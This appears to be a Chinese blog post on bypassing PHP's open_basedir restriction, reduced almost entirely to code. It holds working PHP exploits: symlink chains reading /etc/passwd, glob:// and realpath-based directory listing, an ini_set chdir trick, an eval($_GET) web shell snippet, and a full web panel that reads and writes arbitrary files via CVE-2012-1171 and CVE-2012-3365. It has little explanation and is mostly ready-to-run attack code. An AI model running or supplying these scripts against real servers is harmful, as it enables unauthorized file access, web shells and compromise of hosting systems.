浅谈几种Bypass open_basedir的方法

<?php
//echo file_get_contents(‘/home/1.txt‘);
show_source(__FILE__);
system(‘cat /home/1.txt‘);
?>

symlink ( string $target , string $link ) : bool

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");
?>

symlink("A/B/C/D","7ea");
symlink("7ea/../../../../etc/passwd","exp");
unlink("7ea");
mkdir("7ea");

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

<?php
$c = $_GET[‘c‘];
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().‘<br>‘);
}
?>

<?php
$a = $_GET[‘c‘];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

<?php
echo ‘open_basedir: ‘.ini_get(‘open_basedir‘).‘<br>‘;
echo ‘GET: ‘.$_GET[‘c‘].‘<br>‘;
eval($_GET[‘c‘]);
echo ‘open_basedir: ‘.ini_get(‘open_basedir‘);
?>

mkdir(‘mi1k7ea‘);chdir(‘mi1k7ea‘);ini_set(‘open_basedir‘,‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);ini_set(‘open_basedir‘,‘/‘);echo file_get_contents(‘/etc/passwd‘);

mkdir(‘mi1k7ea‘);
chdir(‘mi1k7ea‘);
ini_set(‘open_basedir‘,‘..‘);

bindtextdomain ( string $domain , string $directory ) : string

<?php
printf(‘<b>open_basedir: %s</b><br />‘, ini_get(‘open_basedir‘));
$re = bindtextdomain(‘xxx‘, $_GET[‘dir‘]);
var_dump($re);
?>

<?php
echo ‘<b>open_basedir: ‘ . ini_get(‘open_basedir‘) . ‘</b><br />‘;
$info = new SplFileInfo($_GET[‘dir‘]);
var_dump($info->getRealPath());
?>

realpath ( string $path ) : string

<?php
ini_set(‘open_basedir‘, dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get(‘open_basedir‘));
set_error_handler(‘isexists‘);
$dir = ‘E:/wamp64/‘;
$file = ‘‘;
$chars = ‘abcdefghijklmnopqrstuvwxyz0123456789_‘;
for ($i=0; $i < strlen($chars); $i++) {
        $file = $dir . $chars[$i] . ‘<><‘;
        realpath($file);
}
function isexists($errno, $errstr)
{
        $regexp = ‘/File\((.*)\) is not within/‘;
        preg_match($regexp, $errstr, $matches);
        if (isset($matches[1])) {
                printf("%s <br/>", $matches[1]);
        }
}
?>

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header(‘content-type: text/plain‘);
error_reporting(-1);
ini_set(‘display_errors‘, TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get(‘open_basedir‘), phpversion());
printf("disable_functions: %s\n", ini_get(‘disable_functions‘));
$file = str_replace(‘\\‘, ‘/‘, isset($_REQUEST[‘file‘]) ? $_REQUEST[‘file‘] : ‘/etc/passwd‘);
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode(‘/‘, $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir(‘..‘);
}
$paths = explode(‘/‘, $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == ‘..‘; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir(‘..‘);
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode(‘/‘, $tmp), ‘tmplink‘);
$tmp = array_fill(0, $j, ‘..‘);
symlink(‘tmplink/‘ . implode(‘/‘, $tmp) . $file, $exp);
unlink(‘tmplink‘);
mkdir(‘tmplink‘);
delfile($name);
$exp = dirname($_SERVER[‘SCRIPT_NAME‘]) . "/{$exp}";
$exp = "http://{$_SERVER[‘SERVER_NAME‘]}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile(‘tmplink‘);

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, ‘\/‘) . ‘/‘;
  $from = str_replace(‘\\‘, ‘/‘, $from);
  $to   = str_replace(‘\\‘, ‘/‘, $to);

  $from   = explode(‘/‘, $from);
  $to     = explode(‘/‘, $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, ‘..‘);
        break;
      } else {
        $relPath[0] = ‘./‘ . $relPath[0];
      }
    }
  }
  return implode(‘/‘, $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.‘/‘.$file);
            if(($file!=‘.‘) && ($file!=‘..‘)){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace(‘//‘,‘/‘,str_replace(‘\\‘,‘/‘,$string));
}

function getRandStr($length = 6) {
    $chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
    $randStr = ‘‘;
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

<?php
/*
PHP open_basedir bypass collection
Works with >= PHP5
By /fd, @filedescriptor(https://twitter.com/filedescriptor)
 */
 
// Assistant functions
function getRelativePath($from, $to) {
	// some compatibility fixes for Windows paths
	$from = rtrim($from, ‘\/‘) . ‘/‘;
	$from = str_replace(‘\\‘, ‘/‘, $from);
	$to = str_replace(‘\\‘, ‘/‘, $to);
 
	$from = explode(‘/‘, $from);
	$to = explode(‘/‘, $to);
	$relPath = $to;
 
	foreach ($from as $depth => $dir) {
		// find first non-matching dir
		if ($dir === $to[$depth]) {
			// ignore this directory
			array_shift($relPath);
		} else {
			// get number of remaining dirs to $from
			$remaining = count($from) - $depth;
			if ($remaining > 1) {
				// add traversals up to first matching dir
				$padLength = (count($relPath) + $remaining - 1) * -1;
				$relPath = array_pad($relPath, $padLength, ‘..‘);
				break;
			} else {
				$relPath[0] = ‘./‘ . $relPath[0];
			}
		}
	}
	return implode(‘/‘, $relPath);
}
 
function fallback($classes) {
	foreach ($classes as $class) {
		$object = new $class;
		if ($object->isAvailable()) {
			return $object;
		}
	}
	return new NoExploit;
}
 
// Core classes
interface Exploitable {
	function isAvailable();
	function getDescription();
}
 
class NoExploit implements Exploitable {
	function isAvailable() {
		return true;
	}
	function getDescription() {
		return ‘No exploit is available.‘;
	}
}
 
abstract class DirectoryLister implements Exploitable {
	var $currentPath;
 
	function isAvailable() {}
	function getDescription() {}
	function getFileList() {}
	function setCurrentPath($currentPath) {
		$this->currentPath = $currentPath;
	}
	function getCurrentPath() {
		return $this->currentPath;
	}
}
 
class GlobWrapperDirectoryLister extends DirectoryLister {
	function isAvailable() {
		return stripos(PHP_OS, ‘win‘) === FALSE && in_array(‘glob‘, stream_get_wrappers());
	}
	function getDescription() {
		return ‘Directory listing via glob pattern‘;
	}
	function getFileList() {
		$file_list = array();
		// normal files
		$it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
		foreach ($it as $f) {
			$file_list[] = $f->__toString();
		}
		// special files (starting with a dot(.))
		$it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
		foreach ($it as $f) {
			$file_list[] = $f->__toString();
		}
		sort($file_list);
		return $file_list;
	}
}
 
class RealpathBruteForceDirectoryLister extends DirectoryLister {
	var $characters = ‘abcdefghijklmnopqrstuvwxyz0123456789-_‘
	, $extension = array()
	, $charactersLength = 38
	, $maxlength = 3
	, $fileList = array();
 
	function isAvailable() {
		return ini_get(‘open_basedir‘) && function_exists(‘realpath‘);
	}
	function getDescription() {
		return ‘Directory listing via brute force searching with realpath function.‘;
	}
	function setCharacters($characters) {
		$this->characters = $characters;
		$this->charactersLength = count($characters);
	}
	function setExtension($extension) {
		$this->extension = $extension;
	}
	function setMaxlength($maxlength) {
		$this->maxlength = $maxlength;
	}
	function getFileList() {
		set_time_limit(0);
		set_error_handler(array(__CLASS__, ‘handler‘));
		$number_set = array();
		while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
			$this->searchFile($number_set);
		}
		sort($this->fileList);
		return $this->fileList;
	}
	function nextCombination($number_set, $length) {
		if (!isset($number_set[$length])) {
			$number_set[$length] = 0;
			return $number_set;
		}
		if ($number_set[$length] + 1 === $this->charactersLength) {
			$number_set[$length] = 0;
			$number_set = $this->nextCombination($number_set, $length + 1);
		} else {
			$number_set[$length]++;
		}
		return $number_set;
	}
	function searchFile($number_set) {
		$file_name = ‘a‘;
		foreach ($number_set as $key => $value) {
			$file_name[$key] = $this->characters[$value];
		}
		// normal files
		realpath($this->getCurrentPath() . $file_name);
		// files with preceeding dot
		realpath($this->getCurrentPath() . ‘.‘ . $file_name);
		// files with extension
		foreach ($this->extension as $extension) {
			realpath($this->getCurrentPath() . $file_name . $extension);
		}
	}
	function handler($errno, $errstr, $errfile, $errline) {
		$regexp = ‘/File\((.*)\) is not within/‘;
		preg_match($regexp, $errstr, $matches);
		if (isset($matches[1])) {
			$this->fileList[] = $matches[1];
		}
 
	}
}
 
abstract class FileWriter implements Exploitable {
	var $filePath;
 
	function isAvailable() {}
	function getDescription() {}
	function write($content) {}
	function setFilePath($filePath) {
		$this->filePath = $filePath;
	}
	function getFilePath() {
		return $this->filePath;
	}
}
 
abstract class FileReader implements Exploitable {
	var $filePath;
 
	function isAvailable() {}
	function getDescription() {}
	function read() {}
	function setFilePath($filePath) {
		$this->filePath = $filePath;
	}
	function getFilePath() {
		return $this->filePath;
	}
}

// Assistant class for DOMFileWriter & DOMFileReader
class StreamExploiter {
var $mode, $filePath, $fileContent;

function stream_close() {
		$doc = new DOMDocument;
		$doc->strictErrorChecking = false;
switch ($this->mode) {
case ‘w‘:
			$doc->loadHTML($this->fileContent);
			$doc->removeChild($doc->firstChild);
			$doc->saveHTMLFile($this->filePath);
break;
default:
case ‘r‘:
			$doc->resolveExternals = true;
			$doc->substituteEntities = true;
			$doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
echo $doc->documentElement->firstChild->nodeValue;
		}
	}
function stream_open($path, $mode, $options, &$opened_path) {
$this->filePath = substr($path, 10);
$this->mode = $mode;
return true;
	}
public function stream_write($data) {
$this->fileContent = $data;
return strlen($data);
	}
}

class DOMFileWriter extends FileWriter {
function isAvailable() {
return extension_loaded(‘dom‘) && (version_compare(phpversion(), ‘5.3.10‘, ‘<=‘) || version_compare(phpversion(), ‘5.4.0‘, ‘=‘));
	}
function getDescription() {
return ‘Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.‘;
	}
function write($content) {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
		stream_wrapper_register(‘exploit‘, ‘StreamExploiter‘);
		$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", ‘w‘);
		fwrite($_DOM_exploit_resource, $content);
	}
}

class DOMFileReader extends FileReader {
function isAvailable() {
return extension_loaded(‘dom‘) && (version_compare(phpversion(), ‘5.3.10‘, ‘<=‘) || version_compare(phpversion(), ‘5.4.0‘, ‘=‘));
	}
function getDescription() {
return ‘Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.‘;
	}
function read() {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
		stream_wrapper_register(‘exploit‘, ‘StreamExploiter‘);
		$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", ‘r‘);
	}
}

class SqliteFileWriter extends FileWriter {
function isAvailable() {
return is_writable(getcwd())
			&& (extension_loaded(‘sqlite3‘) || extension_loaded(‘sqlite‘))
			&& (version_compare(phpversion(), ‘5.3.15‘, ‘<=‘) || (version_compare(phpversion(), ‘5.4.5‘, ‘<=‘) && PHP_MINOR_VERSION == 4));
	}
function getDescription() {
return ‘Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted‘;
	}
function write($content) {
		$sqlite_class = extension_loaded(‘sqlite3‘) ? ‘sqlite3‘ : ‘SQLiteDatabase‘;
		mkdir(‘:memory:‘);
		$payload_path = getRelativePath(getcwd() . ‘/:memory:‘, $this->getFilePath());
		$payload = str_replace(‘\‘‘, ‘\‘\‘‘, $content);
		$database = new $sqlite_class(":memory:/{$payload_path}");
		$database->exec("CREATE TABLE foo (bar STRING)");
		$database->exec("INSERT INTO foo (bar) VALUES (‘{$payload}‘)");
		$database->close();
		rmdir(‘:memory:‘);
	}
}

// End of Core
?>
<?php
$action = isset($_GET[‘action‘]) ? $_GET[‘action‘] : ‘‘;
$cwd = isset($_GET[‘cwd‘]) ? $_GET[‘cwd‘] : getcwd();
$cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$directorLister = fallback(array(‘GlobWrapperDirectoryLister‘, ‘RealpathBruteForceDirectoryLister‘));
$fileWriter = fallback(array(‘DOMFileWriter‘, ‘SqliteFileWriter‘));
$fileReader = fallback(array(‘DOMFileReader‘));
$append = ‘‘;
?>
<style>
#panel {
  height: 200px;
  overflow: hidden;
}
#panel > pre {
  margin: 0;
  height: 200px;
}
</style>
<div id="panel">
<pre id="dl">
open_basedir: <span style="color: red"><?php echo ini_get(‘open_basedir‘) ? ini_get(‘open_basedir‘) : ‘Off‘; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
<?php if (get_class($directorLister) === ‘RealpathBruteForceDirectoryLister‘): ?>
<?php
$characters = isset($_GET[‘characters‘]) ? $_GET[‘characters‘] : $directorLister->characters;
$maxlength = isset($_GET[‘maxlength‘]) ? $_GET[‘maxlength‘] : $directorLister->maxlength;
$append = "&characters={$characters}&maxlength={$maxlength}";

$directorLister->setMaxlength($maxlength);
?>
Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
<?php endif;?>
Description      : <strong><?php echo $directorLister->getDescription(); ?></strong>
</fieldset>
</form>
</pre>
<?php
$file_path = isset($_GET[‘file_path‘]) ? $_GET[‘file_path‘] : ‘‘;
?>
<pre id="rf">
open_basedir: <span style="color: red"><?php echo ini_get(‘open_basedir‘) ? ini_get(‘open_basedir‘) : ‘Off‘; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
</fieldset>
</form>
</pre>
<pre id="wf">
open_basedir: <span style="color: red"><?php echo ini_get(‘open_basedir‘) ? ini_get(‘open_basedir‘) : ‘Off‘; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Write File :</legend>File Path   : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
File Content: <textarea cols="70" name="content"></textarea>
Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
</fieldset>
</form>
</pre>
</div>
<a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
<hr>
<pre>
<?php if ($action === ‘rf‘): ?>
<plaintext>
<?php
$fileReader->setFilePath($file_path);
echo $fileReader->read();
?>
<?php elseif ($action === ‘wf‘): ?>
<?php
if (isset($_GET[‘content‘])) {
	$fileWriter->setFilePath($file_path);
	$fileWriter->write($_GET[‘content‘]);
echo ‘The file should be written.‘;
} else {
echo ‘Something goes wrong.‘;
}
?>
<?php else: ?>
<ol>
<?php
$directorLister->setCurrentPath($cwd);
$file_list = $directorLister->getFileList();
$parent_path = dirname($cwd);

echo "<li><a href=‘?cwd={$parent_path}{$append}#dl‘>Parent</a></li>";
if (count($file_list) > 0) {
foreach ($file_list as $file) {
echo "<li><a href=‘?cwd={$cwd}{$file}{$append}#dl‘>{$file}</a></li>";
	}
} else {
echo ‘No files found. The path is probably not a directory.‘;
}
?>
</ol>
<?php endif;?>